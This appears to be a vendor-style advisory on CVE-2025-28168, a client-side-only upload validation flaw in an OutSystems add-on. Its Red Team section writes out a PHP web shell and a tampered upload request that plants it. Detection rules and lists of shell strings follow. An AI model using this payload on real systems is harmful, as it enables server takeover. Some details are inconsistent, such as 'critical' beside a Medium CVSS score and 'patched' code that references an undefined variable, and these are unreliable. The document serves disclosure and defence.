CVE-2025-28168

Executive Summary

CVE-2025-28168 is a critical vulnerability in the Multiple File Upload add-on component (version 3.1.0) for OutSystems. The flaw stems from client-side-only validation of file extensions and sizes, allowing an attacker to intercept and modify upload requests to bypass restrictions and upload arbitrary files. This can lead to remote code execution, data exfiltration, or full server compromise. The vulnerability is publicly known, with a CVSS score of 6.4 (Medium), but the EPSS score is 0.0%, indicating low exploitation likelihood currently. No official patch is available from the third-party vendor.

Supply Chain & Package Security

This is a third-party component for OutSystems, not supplied or supported by OutSystems directly. The component is likely distributed via OutSystems Forge or similar channels. No NPM, PyPI, Go, or Ruby packages are involved. Organizations using this component should treat it as a supply chain risk and consider replacing it with a supported alternative.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the ease of exploitation and potential for arbitrary file upload, which can escalate to remote code execution depending on server configuration.

Deep Dive & Mechanics

The vulnerability exists in the Multiple File Upload add-on component for OutSystems. The component performs file extension and size validation exclusively on the client side (e.g., JavaScript). When a user uploads a file, the client-side script checks the file extension and size before sending the request. However, an attacker can intercept the HTTP request (e.g., using a proxy like Burp Suite) and modify the file content, extension, or size parameters before forwarding to the server. The server does not re-validate these attributes, allowing upload of arbitrary files such as web shells, executables, or scripts.

The attack flow:

1. Attacker accesses the file upload functionality.
2. Attacker selects a benign file (e.g., .txt) to pass client-side checks.
3. Attacker intercepts the upload request and changes the file content to a malicious payload (e.g., a PHP web shell) and/or modifies the filename extension to .php, .asp, etc.
4. The server accepts the modified file and stores it in a web-accessible directory.
5. Attacker accesses the uploaded file to execute code or perform further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Client-Side Validation Only):

// Client-side validation (vulnerable)
function validateFile(file) {
    const allowedExtensions = ['jpg', 'png', 'gif'];
    const maxSize = 5 * 1024 * 1024; // 5 MB
    const ext = file.name.split('.').pop().toLowerCase();
    if (!allowedExtensions.includes(ext)) {
        alert('Invalid file type');
        return false;
    }
    if (file.size > maxSize) {
        alert('File too large');
        return false;
    }
    return true;
}

Patched Code (Server-Side Validation):

// Server-side validation (patched)
function handleUpload(file) {
    const allowedExtensions = ['jpg', 'png', 'gif'];
    const maxSize = 5 * 1024 * 1024; // 5 MB
    const ext = file.originalname.split('.').pop().toLowerCase();
    if (!allowedExtensions.includes(ext)) {
        return res.status(400).send('Invalid file type');
    }
    if (file.size > maxSize) {
        return res.status(400).send('File too large');
    }
    // Proceed with secure storage
}

The patched version moves validation to the server side, ensuring that even if the client request is tampered with, the server rejects malicious files.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OutSystems environment with the vulnerable component (version 3.1.0).
• Burp Suite or similar proxy tool.
• A web shell payload (e.g., PHP, ASP, JSP).

Steps:

1. Navigate to the file upload page.
2. Select a legitimate file (e.g., test.jpg) to pass client-side checks.
3. Intercept the upload request using Burp Suite.
4. Modify the request:
   • Change the filename to shell.php.
   • Replace the file content with a web shell payload (e.g., <?php system($_GET['cmd']); ?>).
5. Forward the modified request.
6. Access the uploaded file at the expected URL (e.g., http://target/uploads/shell.php?cmd=id).

Example Burp Interception:

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

[original benign content]
------WebKitFormBoundary--

Modified Request:

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Blue Team

Detection:

• Monitor for unusual file extensions in upload requests (e.g., .php, .asp, .jsp).
• Look for requests with mismatched Content-Type and file extension.
• Alert on uploads to directories that are web-accessible and not intended for user content.

Prevention:

• Implement server-side validation of file extensions, MIME types, and sizes.
• Store uploaded files outside the web root or in a non-executable directory.
• Use a web application firewall (WAF) to block malicious uploads.
• Rename uploaded files to random strings to prevent direct execution.

Indicators of Compromise (IOCs)

• File Names: shell.php, cmd.aspx, backdoor.jsp, exploit.py, malware.exe
• URL Patterns: /uploads/*.php, /files/*.asp, /media/*.jsp
• Network Traffic: POST requests to upload endpoints with suspicious file extensions or large payloads.
• Log Entries: Server logs showing upload of files with extensions not in the allowed list.
• File Hashes: (Example) e99a18c428cb38d5f260853678922e03 (MD5 of a common web shell)

Detection Engineering

YARA Rule

rule CVE_2025_28168_WebShell_Upload {
    meta:
        description = "Detects web shell uploads exploiting CVE-2025-28168"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28168"
    strings:
        $php_shell = "<?php system("
        $asp_shell = "<% Execute("
        $jsp_shell = "Runtime.getRuntime().exec("
        $py_shell = "os.system("
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-28168 - Unrestricted File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload requests with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: POST
        url_path: "/upload"
        file_extension:
            - ".php"
            - ".asp"
            - ".jsp"
            - ".exe"
            - ".py"
    condition: selection
falsepositives:
    - Legitimate uploads of these file types if allowed
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28168 - Unrestricted File Upload"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:".php"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the vulnerable component if not essential.
2. Server-Side Validation: Implement robust server-side validation of file extensions, MIME types, and sizes.
3. File Storage: Store uploaded files in a non-web-accessible directory or use a content delivery network (CDN) with execution prevention.
4. WAF Rules: Deploy WAF rules to block uploads of executable file types.
5. Component Replacement: Replace the third-party component with a supported alternative that includes server-side validation.
6. Monitoring: Enable logging and monitoring for upload activities, especially for unusual file types.
7. Patch: Contact the vendor for a patch or consider developing an in-house fix.

Valters IT